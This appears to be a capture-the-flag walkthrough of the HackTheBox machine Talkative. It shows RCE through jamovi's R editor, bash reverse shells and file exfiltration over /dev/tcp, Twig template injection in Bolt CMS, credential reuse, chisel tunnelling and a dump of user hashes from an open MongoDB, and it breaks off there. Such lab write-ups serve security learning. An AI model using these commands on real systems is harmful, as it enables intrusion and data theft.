Talkative is about hacking a communications platform. I’ll start by abusing the built-in R scripter in jamovi to get execution and shell in a docker container. There I’ll find creds for the Bolt CMS instance, and use those to log into the admin panel and edit a template to get code execution in the next container. From that container, I can SSH into the main host. From the host, I’ll find a different network of containers, and find MongoDB running in one. I’ll connect to that and use it to get access as admin for a Rocket Chat instance. I’ll abuse the Rocket Chat webhook functionality to get a shell in yet another Docker container. This container has a dangerous capabilities, CAP_DAC_READ_SEARCH, which I’ll abuse to both read and write files on the host.

Box Info

Name Talkative Talkative
Release Date 09 Apr 2022
Retire Date 27 Aug 2022
OS Linux Linux
Base Points Hard [40]
Rated Difficulty Rated difficulty for Talkative
Radar Graph Radar chart for Talkative
First Blood User 1 hour, 44 mins, 05 seconds InfoSecJack
First Blood Root 3 hours, 16 mins, 56 seconds jazzpizazz



nmap finds five open TCP ports, all HTTP servers:

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2022-08-22 16:46 UTC
Nmap scan report for talkative.htb (
Host is up (0.085s latency).
Not shown: 65529 closed ports
22/tcp   filtered ssh
80/tcp   open     http
3000/tcp open     ppp
8080/tcp open     http-proxy
8081/tcp open     blackice-icecap
8082/tcp open     blackice-alerts

Nmap done: 1 IP address (1 host up) scanned in 6.93 seconds
oxdf@hacky$ nmap -p 22,80,3000,8080-8082 -sCV
Starting Nmap 7.80 ( ) at 2022-08-22 16:46 UTC
Nmap scan report for talkative.htb (
Host is up (0.085s latency).

22/tcp   filtered ssh
80/tcp   open     http    Apache httpd 2.4.52
|_http-generator: Bolt
|_http-server-header: Apache/2.4.52 (Debian)
|_http-title: Talkative.htb | Talkative
3000/tcp open     ppp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     X-XSS-Protection: 1
|     X-Instance-ID: 7BEhgKZrHjYcyBD4y
|     Content-Type: text/html; charset=utf-8
|     Vary: Accept-Encoding
|     Date: Mon, 22 Aug 2022 16:46:57 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <link rel="stylesheet" type="text/css" class="__meteor-css__"
8080/tcp open     http    Tornado httpd 5.0
|_http-server-header: TornadoServer/5.0
|_http-title: jamovi
8081/tcp open     http    Tornado httpd 5.0
|_http-server-header: TornadoServer/5.0
|_http-title: 404: Not Found
8082/tcp open     http    Tornado httpd 5.0
|_http-server-header: TornadoServer/5.0
|_http-title: 404: Not Found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: Host:

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 20.73 seconds

There’s one Apache (80), three Tornado (8080, 80801, and 8082), and something that looks HTTP-ish on 3000. Based on the Apache version, the host is likely running Ubuntu 22.04 jammy. Tornado is a Python-based web framework designed to work within the Python asynchronous methods.

nmap shows that on 80, there’s a redirect to http://talkative.htb. I’ll run wfuzz to look for any subdomains, but it doesn’t find anything:

oxdf@hacky$ wfuzz -u http://talkative.htb -H "Host: FUZZ.talkative.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hw 28
* Wfuzz 2.4.5 - The Web Fuzzer                         *

Target: http://talkative.htb/
Total requests: 4989

ID           Response   Lines    Word     Chars       Payload

Total time: 44.06831
Processed Requests: 4989
Filtered Requests: 4989
Requests/sec.: 113.2105

Website - TCP 80


The site is for a company that makes a chat / call application:

There’s a few interesting bits on this page. The “Our People” section has three people with pictures and info. Each has a link to read more about them at http://talkative.htb/person/janit-smith, on each page gives their email addresses:

  • Janit Smith (CFO) - janit@talkative.htb
  • Matt Williams (Chief Marketing Officer / Head of Design) - matt@talkative.htb
  • Saul Goodman (CEO) - saul@talkative.htb

The “Products” section shows three products. The references to other technologies are worth noting here. “Talk-A-Stats” mentions Jamovi. The “Talkforbiz” product mentions Rocket Chat.

At the bottom of the page, there’s a feedback form which includes another email address, support@talkative.htb. Submitting that form returns an error:


This is a good hint that Bolt CMS is in use on the site.

Tech Stack

The headers confirm information from above:

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2022 15:54:16 GMT
Server: Apache/2.4.52 (Debian)
X-Powered-By: PHP/7.4.28
Cache-Control: max-age=0, must-revalidate, private
permissions-policy: interest-cohort=()
X-Powered-By: Bolt
Link: <http://talkative.htb/api/docs.jsonld>; rel=""
Expires: Mon, 22 Aug 2022 15:54:17 GMT
Vary: Accept-Encoding
Content-Length: 36943
Connection: close
Content-Type: text/html; charset=UTF-8

The server is Apache, and there’s PHP running the Bolt CMS.

The API URL is interesting, but that endpoint doesn’t give anything of interest.

Directory Brute Force

I’ll start a feroxbuster against the site, and include -x php since I know the site is PHP, but it crawls and makes the site run slow for me. I’ll kill it after a bit, without much interesting:

oxdf@hacky$ feroxbuster -u http://talkative.htb -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
 🎯  Target Url            │ http://talkative.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.1
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🏁  Press [ENTER] to use the Scan Management Menu™
200      GET      612l     2844w        0c http://talkative.htb/
301      GET        9l       28w      314c http://talkative.htb/files => http://talkative.htb/files/
200      GET      264l     1039w        0c http://talkative.htb/page
301      GET       12l       22w      342c http://talkative.htb/en => http://talkative.htb/en/
301      GET        9l       28w      315c http://talkative.htb/assets => http://talkative.htb/assets/
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_talkative_htb-1661184777.state ...
[>-------------------] - 3m      6714/300000  2h      found:5       errors:6632   
[>-------------------] - 3m      2920/60000   14/s    http://talkative.htb 
[>-------------------] - 3m      2600/60000   13/s    http://talkative.htb/ 
[>-------------------] - 3m      2700/60000   13/s    http://talkative.htb/files 
[>-------------------] - 3m      2600/60000   13/s    http://talkative.htb/en 
[>-------------------] - 3m      2500/60000   13/s    http://talkative.htb/assets 

Rocket Chat - TCP 3000

On 3000, there’s an instance of Rocket Chat:


I previously ran into Rocket Chat on Paper. I don’t have any creds, but I can register an account. There’s only a #general channel, and it’s empty, other than showing that there’s a user named admin:


Not much else to do here.

Jamovi - TCP 8080

This is an instance of jamovi:


jamovi is nice enough to tell me that this is an out of date version with security vulnerabilities.

Clicking on the three dots at the top right shows a menu with the version number:


HTTP - TCP 8081/8082

Both these pages just return a “404 Not Found” message:


feroxbuster doesn’t find any paths. I’ll leave these for now.

Shell as root in jamovi Container

R Script Editor

I’ve written about abusing jamovi before on Anubis, though there it was a CVE that allowed for XSS via uploading a malicious file. Here, I’ll abuse the built in features of jamovi (that were disabled on Anubis).

In the “Analyses” tab there are a few tools for statistical analysis:


Clicking the “R” button pops a dropdown menu offering the “Rj Editor”:


According to jamovi, this let’s you:

analyse data in jamovi with R, and make use of your favourite R packages from within the jamovi statistical spreadsheet.

R is a language for statistically computing. Clicking on it opens an editor:


At the bottom it says Ctrl + Shift + Enter to run.


R has a built in system command to run OS commands. Just running system("id") doesn’t return anything, but with a bit of fiddling based on the docs, adding the intern = TRUE parameter returns output:


That looks like remote code execution as root.


I’ll use a simple bash reverse shell to get a shell from here:


I’ll also upgrade the shell using the standard trick:

root@b06821bbda78:~# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@b06821bbda78:~# ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen

Shell as www-data in Bolt Container



This shell is clearly in a container:

root@b06821bbda78:~# hostname
root@b06821bbda78:~# ip addr  
bash: ip: command not found
root@b06821bbda78:~# ifconfig
bash: ifconfig: command not found
root@b06821bbda78:~# cat /proc/net/fib_trie
     +-- 2 0 2
        +-- 2 0 2
              /32 link BROADCAST
              /16 link UNICAST

The IP is, and there’s very limited tools installed. The process list shows only jamovi stuff:

root@b06821bbda78:~# ps auxww
root           1  0.0  0.0 101704   288 ?        Ss   15:21   0:00 /bin/bash /usr/bin/jamovi-server 41337 --if=*
root          12  1.1  1.2 863208 24240 ?        Sl   15:21   1:28 python3 -u -m jamovi.server 41337 --if=*
root          42  0.2  4.2 501692 85908 ?        Sl   17:10   0:02 /usr/lib/jamovi/bin/jamovi-engine --con=ipc:///tmp/tmp94xmzbhn/conn-0 --path=/tmp/tmp3ymj4a5l
root          44  0.1  2.9 255848 59840 ?        Sl   17:10   0:01 /usr/lib/jamovi/bin/jamovi-engine --con=ipc:///tmp/tmp94xmzbhn/conn-1 --path=/tmp/tmp3ymj4a5l
root          46  0.1  2.9 255848 59652 ?        Sl   17:10   0:01 /usr/lib/jamovi/bin/jamovi-engine --con=ipc:///tmp/tmp94xmzbhn/conn-2 --path=/tmp/tmp3ymj4a5l
root          60  0.0  0.2  90072  5948 ?        S    17:21   0:00 sh -c bash -c 'bash -i >& /dev/tcp/ 0>&1'
root          61  0.0  0.3 101704  7200 ?        S    17:21   0:00 bash -c bash -i >& /dev/tcp/ 0>&1
root          62  0.0  0.3 101880  7716 ?        S    17:21   0:00 bash -i
root          68  0.0  0.3 102660  6500 ?        R    17:22   0:00 script /dev/null -c bash
root          69  0.0  0.2  90072  5924 pts/0    Ss   17:22   0:00 sh -c bash
root          70  0.0  0.3 101884  7740 pts/0    S    17:22   0:00 bash
root          84  0.0  0.3 115908  7136 pts/0    R+   17:27   0:00 ps auxww

There’s also a .dockerenv file in the system root.

Home Dir

There are no home directories in /home, but there are some files in /root:

root@b06821bbda78:~# ls -la
total 28
drwx------ 1 root root 4096 Mar  7 23:19 .
drwxr-xr-x 1 root root 4096 Mar  7 23:18 ..
lrwxrwxrwx 1 root root    9 Mar  7 23:19 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 22  2015 .bashrc
drwxr-xr-x 3 root root 4096 Aug 22 17:10 .jamovi
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
drwxrwxrwx 2 root root 4096 Aug 15  2021 Documents
-rw-r--r-- 1 root root 2192 Aug 15  2021 bolt-administration.omv

I’ll exfil the bolt-administration.omv file using Bash and nc. With nc listening from my host, from Talkative I’ll run:

root@b06821bbda78:~# cat bolt-administration.omv > /dev/tcp/
root@b06821bbda78:~# md5sum bolt-administration.omv 
89a471297760280c51d7a48246f95628  bolt-administration.omv

At my host, the file is downloaded:

oxdf@hacky$ nc -lnvp 443 > bolt-administration.omv
Listening on 443
Connection received on 40266
oxdf@hacky$ md5sum bolt-administration.omv 
89a471297760280c51d7a48246f95628  bolt-administration.omv

The hashes match, so the file is good!

omv File

.omv files are documents from jamovi, but they are also just Zip archives:

oxdf@hacky$ file bolt-administration.omv 
bolt-administration.omv: Zip archive data, at least v2.0 to extract

There’s a standard file structure used by jamovi inside:

oxdf@hacky$ unzip -l bolt-administration.omv
Archive:  bolt-administration.omv
  Length      Date    Time    Name
---------  ---------- -----   ----
      106  2021-08-14 23:16   META-INF/MANIFEST.MF
      106  2021-08-14 23:16   meta
     2505  2021-08-14 23:16   index.html
     1055  2021-08-14 23:16   metadata.json
      433  2021-08-14 23:16   xdata.json
       48  2021-08-14 23:16   data.bin
       50  2021-08-14 23:16   01 empty/analysis
---------                     -------
     4303                     7 files

xdata.json has some interesting data. It’s JSON, so I’ll use jq to print it in a readable manner:

oxdf@hacky$ cat xdata.json | jq -c '.[]'

It appears to be passwords for the three users identified on the webpage.

Identify Cred Validity

To try these creds, I’ll need to figure out where I can use them. Given the name of the .ovm file, it seems likely Bolt CMS. But before diving too far in that direction, it’s good to make sure they don’t work anywhere else.

My first thought is to SSH to the host machine, which is likely SSH was filtered from the outside, but maybe from the container it’ll work. Unfortunately, ssh isn’t installed on the container. I could upload Chisel and tunnel from the ssh client on my VM, but I’ll look at the web interfaces first.

jamovi doesn’t seem to have an admin interface or any kind of login.

Rocket Chat will have a link to “Administration” in the user menu when logged in as an admin. I don’t:


I can try /admin, and it does show a simple page without much information:


None of the three passwords worked for the admin user, nor for the associated email address to log in.

The main site is Bolt CMS. When I ran into Bolt in Registry, the login panel was at /bolt, and that works here as well:


Logging in with any email address leads to an error:


However, when I log in as admin with the creds “jeO09ufhWD<s”, it works:

I will note that the password I used was from row 1, which has matt as the username. But at the top, it says “Hey Saul”. The password reuse is a bit odd here.

RCE From Bolt

Config Analysis

The Configuration page shows the config/config.yaml file:


At the bottom, it shows that I can’t modify the config as it’s not writable. The them in use is base-2021:

theme: base-2021

There’s also a section that limits the kind of files that can be uploaded to the server, and what attributes can be used in the generated HTML:

# Define the HTML tags and attributes that are allowed in cleaned HTML. This
# is used for sanitizing HTML, to make sure there are no undesirable elements
# left in the content that is shown to users. For example, tags like `<script>`
# or `onclick`-attributes.
# Note: enabling options in the `wysiwyg` settings will implicitly add items to
# the allowed tags. For example, if you set `images: true`, the `<img>` tag
# will be allowed, regardless of it being in the `allowed_tags` setting.
    allowed_tags: [ div, span, p, br, hr, s, u, strong, em, i, b, li, ul, ol, mark, blockquote, pre, code, tt, h1, h2, h3, h4, h5, h6, dd, dl, dt, table, tbody, thead, tfoot, th, td, tr, a, img, address, abbr, iframe, caption, sub, sup, figure, figcaption, article, section, small , htb-paper, htb-anubis, htb-registry]
    allowed_attributes: [ id, class, style, name, value, href, src, alt, title, width, height, frameborder, allowfullscreen, scrolling, target, colspan, rowspan, rel, download, hreflang ]
    allowed_frame_targets: [ _blank, _self, _parent, _top ]

# Define the file types (extensions to be exact) that are acceptable for upload
# in either file fields or through the files screen.
accept_file_types: [ twig, html, js, css, scss, gif, jpg, jpeg, png, ico, zip, tgz, txt, md, doc, docx, pdf, epub, xls, xlsx, ppt, pptx, mp3, ogg, wav, m4a, mp4, m4v, ogv, wmv, avi, webm, svg, webp, avif]

# Alternatively, if you wish to limit these, uncomment the following list
# instead. It just includes file types / extensions that are harder to exploit.
# accept_file_types: [ gif, jpg, jpeg, png, txt, md, pdf, epub, mp3 ]

accept_media_types: [ gif, jpg, jpeg, png, svg, pdf, mp3, tiff, avif, webp ]

While Bolt is PHP, I can’t upload PHP files here without modifying this file.

Edit Template

Under Configuration, I’ll select “View & edit templates”, which leads to a page showing the different themes:


I’ll go into base-2021 (as it is in use here), and select index.twig. It presents an editor for a relatively short twig file:

{% extends 'partials/_master.twig' %}

{% block main %}

  {% include 'partials/_index_hero.twig' with { content: 'blocks/hero-section' } %}

  {% include 'partials/_index_divider_top.twig' %}

  {% include 'partials/_index_vertical_block.twig' with { content: 'blocks/introduction', contenttype: 'pages' } %}

  {% include 'partials/_index_3_column_block_images.twig' with { contenttype: 'entries' } %}

  {% if 'people' in config.get('contenttypes').keys() %}
    {% include 'partials/_index_team.twig' with { content: 'blocks/people', contenttype: 'people' } %}
  {% endif %}

  {% if 'products' in config.get('contenttypes').keys() %}
    {% include 'partials/_index_pricing_block.twig' with { content: 'blocks/products', contenttype: 'products' } %}
  {% endif %}

  {% if 'pages' in config.get('contenttypes').keys() %}
    {% include 'partials/_index_3_column_block.twig' with { content: 'blocks/about', contenttype: 'pages' } %}
  {% endif %}

  {% include 'partials/_index_divider_bottom.twig' with { background: '#FFF' } %}

  {% include 'partials/_index_CTA.twig' with { content: 'blocks/call-to-action' } %}

  {% include 'partials/_index_divider_top.twig' with { background: '#f8fafc' } %}

  {% include 'partials/_index_contact_with_map.twig' %}

{% endblock main %}

This seems to be the main page. I’ll add a tag to the top and click “Save changes”:


It seems like it should show up on talkative.htb, but I don’t see it there on refreshing.


It took a bit of snooping around, but eventually I’ll come to the “Maintenance” > “Clear the cache” menu:


When I click “Clear the cache”, it reports success, and then on refreshing talkative.htb, my additional tag is at the top left:


Template Injection

Twig is a template engine for PHP system. PayloadsAllTheThings has a section on it in the SSTI page (even though this isn’t typical SSTI, it’s the same idea). There’s a section on Code execution, and I’ll grab the simplest looking one and toss it in the index.twig:


On saving and then clearing the cache, there’s code execution:



To get a shell, I’ll update the injection to a bash reverse shell:


On clearing the cache and then refreshing the main page, a reverse shell connects to a listening nc:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 33484
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

I’ll upgrade the shell using the script trick:

www-data@ba67799048d7:/var/www/talkative.htb/bolt/public$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@ba67799048d7:/var/www/talkative.htb/bolt/public$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg 
nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen

Shell as saul on Talkative



This host is also a Docker container. There’s a .dockerenv file at the system root. The hostname is ba67799048d7, and the IP is

www-data@ba67799048d7:/$ ls -la /.dockerenv 
-rwxr-xr-x 1 root root 0 Aug 22 15:21 /.dockerenv
www-data@ba67799048d7:/$ hostname
www-data@ba67799048d7:/$ cat /proc/net/fib_trie
     +-- 2 0 2
        +-- 2 0 2
              /32 link BROADCAST
              /16 link UNICAST
              /32 host LOCAL


There are no folders in /home, and I can’t access /root. www-data’s home directory is /var/www, which has the files for talkative.htb.


This container does have ssh client installed, so I’ll give it a try on the host, presumably Given the mismatch of password to user names I already noticed, I’ll try all combinations of the names and the password, and the same set that worked for Bolt work here:

www-data@ba67799048d7:/var/www$ ssh saul@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:kUPIZ6IPcxq7Mei4nUzQI3JakxPUtkTlEejtabx4wnY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
saul@'s password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-81-generic x86_64)

In saul’s home directory is finally user.txt:

saul@talkative:~$ cat user.txt

Shell as root in Rocket Chat Container


File System

There’s just not much else in saul’s home directory:

saul@talkative:~$ ls -la
total 36
drwxr-xr-x 5 saul saul 4096 Mar  6 00:18 .
drwxr-xr-x 3 root root 4096 Aug 10  2021 ..
lrwxrwxrwx 1 root root    9 Aug 28  2021 .bash_history -> /dev/null
-rw-r--r-- 1 saul saul  220 Aug 10  2021 .bash_logout
-rw-r--r-- 1 saul saul 3771 Aug 10  2021 .bashrc
drwx------ 3 saul saul 4096 Mar  6 00:18 .cache
drwxrwxr-x 3 saul saul 4096 Mar  6 00:18 .config
drwxrwxr-x 3 saul saul 4096 Mar  6 00:18 .local
-rw-r--r-- 1 saul saul  807 Aug 10  2021 .profile
-rw-r----- 1 root saul   33 Aug 22 15:21 user.txt

In fact, the rest of the box as far as I can access it is pretty barren.

Docker Analysis

All the services are running in docker containers, and there are a lot of them:

saul@talkative:~$ ps auxww | grep docker
root         916  0.0  1.1 1455780 23636 ?       Ssl  15:21   0:15 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root        1275  0.0  0.0 1149100  660 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 8082 -container-ip -container-port 41339
root        1281  0.0  0.0 1150508  788 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 8082 -container-ip -container-port 41339
root        1298  0.0  0.0 1222576  908 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 8081 -container-ip -container-port 41338
root        1303  0.0  0.0 1223984 1100 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 8081 -container-ip -container-port 41338
root        1320  0.0  0.0 1222832 1364 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 8080 -container-ip -container-port 41337
root        1326  0.0  0.0 1076520 1120 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 8080 -container-ip -container-port 41337
root        1452  0.0  0.0 1150252  640 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 3000 -container-ip -container-port 3000
root        1576  0.0  0.0 1222576 1248 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6000 -container-ip -container-port 80
root        1733  0.0  0.0 1148844 1288 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6001 -container-ip -container-port 80
root        1852  0.0  0.0 1148844 1184 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6002 -container-ip -container-port 80
root        1967  0.0  0.0 1149100  608 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6003 -container-ip -container-port 80
root        2077  0.0  0.0 1223984  468 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6004 -container-ip -container-port 80
root        2196  0.0  0.0 1223984  420 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6005 -container-ip -container-port 80
root        2303  0.0  0.0 1075112 1364 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6006 -container-ip -container-port 80
root        2417  0.0  0.0 1149100  812 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6007 -container-ip -container-port 80
root        2535  0.0  0.0 1222576  396 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6008 -container-ip -container-port 80
root        2661  0.0  0.0 1222576  692 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6009 -container-ip -container-port 80
root        2774  0.0  0.0 1075112  672 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6010 -container-ip -container-port 80
root        2889  0.0  0.0 1149100 1424 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6011 -container-ip -container-port 80
root        3004  0.0  0.0 1148844  600 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6012 -container-ip -container-port 80
root        3115  0.0  0.0 1075112  592 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6013 -container-ip -container-port 80
root        3223  0.0  0.0 1222576  420 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6014 -container-ip -container-port 80
root        3338  0.0  0.0 1150252  388 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6015 -container-ip -container-port 80
saul        8245  0.0  0.0   6432   656 pts/0    S+   19:59   0:00 grep --color=auto docker
  • is the jamovi container that I’ve already had a shell in.
  • is getting port 3000, so that’s likely the Rocket Chat instance.
  • are each getting a forward from a listening on, which is this host. This is a technique that HTB employs sometimes to keep players from spoiling and/or breaking the box for other players. I suspect it’s running 16 copies of the main Bolt website, and then using the player’s IP address and IP tables to load balance across those. That allows me to mess with or even completely take down Bolt without messing up other players.

Interestingly, there is a, it’s just not having any ports forwarded to it:

saul@talkative:~$ ping -c 1
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=64 time=0.060 ms

--- ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.060/0.060/0.060/0.000 ms

I’ll host a statically compiled nmap on my webserver and upload it to Talkative:

saul@talkative:/dev/shm$ wget
--2022-08-22 20:15:21--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 5944464 (5.7M) [application/octet-stream]
Saving to: ‘nmap’

nmap                100%[===================>]   5.67M  6.41MB/s    in 0.9s    

2022-08-22 20:15:22 (6.41 MB/s) - ‘nmap’ saved [5944464/5944464]

saul@talkative:/dev/shm$ chmod +x nmap

Running with the default top 1000 ports finds nothing:

saul@talkative:/dev/shm$ ./nmap

Starting Nmap 6.49BETA1 ( ) at 2022-08-22 20:15 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for
Host is up (0.00013s latency).
All 1182 scanned ports on are closed

Nmap done: 1 IP address (1 host up) scanned in 12.46 seconds

Running again with all ports finds a single port:

saul@talkative:/dev/shm$ ./nmap --min-rate 10000 -p-

Starting Nmap 6.49BETA1 ( ) at 2022-08-22 20:15 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for
Host is up (0.00011s latency).
Not shown: 65534 closed ports
27017/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 14.55 seconds

27017 is commonly used for MongoDB.

Rocket Chat Admin


The tools to connect to Mongo are not installed on Talkative. I’ll upload Chisel and create a tunnel. After hosting it on my webserver, I’ll fetch it:

saul@talkative:/dev/shm$ wget
--2022-08-22 20:18:43--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 8077312 (7.7M) [application/octet-stream]
Saving to: ‘chisel_1.7.7_linux_amd64’

chisel_1.7.7_linux_ 100%[===================>]   7.70M  7.43MB/s    in 1.0s    

2022-08-22 20:18:44 (7.43 MB/s) - ‘chisel_1.7.7_linux_amd64’ saved [8077312/8077312]

saul@talkative:/dev/shm$ chmod +x ./chisel_1.7.7_linux_amd64 

I’ll start chisel as a server on my host:

oxdf@hacky$ /opt/chisel/chisel_1.7.7_linux_amd64 server -p 8000 --reverse
2022/08/22 20:20:10 server: Reverse tunnelling enabled
2022/08/22 20:20:10 server: Fingerprint lBroorqb8hNJ1apYMV0NtLd7Urs/x5mHOi9mmaT0ckY=
2022/08/22 20:20:10 server: Listening on

I’ll use port 8000 since Burp is using the default of 8080. I’ll also give the --reverse flag to say that I want clients to be able to open ports on my host.

Now I’ll connect from talkative:

saul@talkative:/dev/shm$ ./chisel_1.7.7_linux_amd64 client R:27017: 
2022/08/22 20:21:51 client: Connecting to ws://
2022/08/22 20:21:52 client: Connected (Latency 86.206267ms)

The server reports success:

2022/08/22 20:21:51 server: session#1: tun: proxy#R:27017=> Listening

Enumerate DB

I’ll connect with mongo (apt install mongodb-clients):

oxdf@hacky$ mongo
MongoDB shell version v3.6.8
connecting to: mongodb://
Implicit session: session { "id" : UUID("08a04e87-1918-430a-b27e-8e4f9462a6bc") }
MongoDB server version: 4.0.26
WARNING: shell and server versions do not match
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
Questions? Try the support group
Server has startup warnings: 
2022-08-22T15:21:10.531+0000 I STORAGE  [initandlisten] 
2022-08-22T15:21:10.531+0000 I STORAGE  [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
2022-08-22T15:21:10.531+0000 I STORAGE  [initandlisten] **          See
2022-08-22T15:21:12.944+0000 I CONTROL  [initandlisten] 
2022-08-22T15:21:12.944+0000 I CONTROL  [initandlisten] ** WARNING: Access control is not enabled for the database.
2022-08-22T15:21:12.944+0000 I CONTROL  [initandlisten] **          Read and write access to data and configuration is unrestricted.
2022-08-22T15:21:12.944+0000 I CONTROL  [initandlisten] 

By default it will use localhost port 27017, which is my Chisel listening port, so it works. It doesn’t seem to need creds.

There are four DBs:

rs0:PRIMARY> show databases
admin   0.000GB
config  0.000GB
local   0.011GB
meteor  0.005GB

admin, config, and local are default databases that Mongo installs. I’ll use meteor:

rs0:PRIMARY> use meteor
switched to db meteor

There are 59 of Collections (like tables), most of which start with rocketchat_:

rs0:PRIMARY> db.getCollectionNames()

The users collection is always an interesting place to start:

rs0:PRIMARY> db.users.find()
{ "_id" : "", "createdAt" : ISODate("2021-08-10T19:44:00.224Z"), "avatarOrigin" : "local", "name" : "Rocket.Cat", "username" : "", "status" : "online", "statusDefault" : "online", "utcOffset" : 0, "active" : true, "type" : "bot", "_updatedAt" : ISODate("2021-08-10T19:44:00.615Z"), "roles" : [ "bot" ] }
{ "_id" : "ZLMid6a4h5YEosPQi", "createdAt" : ISODate("2021-08-10T19:49:48.673Z"), "services" : { "password" : { "bcrypt" : "$2b$10$jzSWpBq.eJ/yn/Pdq6ilB.UO/kXHB1O2A.b2yooGebUbh69NIUu5y" }, "email" : { "verificationTokens" : [ { "token" : "dgATW2cAcF3adLfJA86ppQXrn1vt6omBarI8VrGMI6w", "address" : "saul@talkative.htb", "when" : ISODate("2021-08-10T19:49:48.738Z") } ] }, "resume" : { "loginTokens" : [ ] } }, "emails" : [ { "address" : "saul@talkative.htb", "verified" : false } ], "type" : "user", "status" : "offline", "active" : true, "_updatedAt" : ISODate("2022-08-22T15:31:50.632Z"), "roles" : [ "admin" ], "name" : "Saul Goodman", "lastLogin" : ISODate("2022-03-15T17:06:56.543Z"), "statusConnection" : "offline", "username" : "admin", "utcOffset" : 0 }
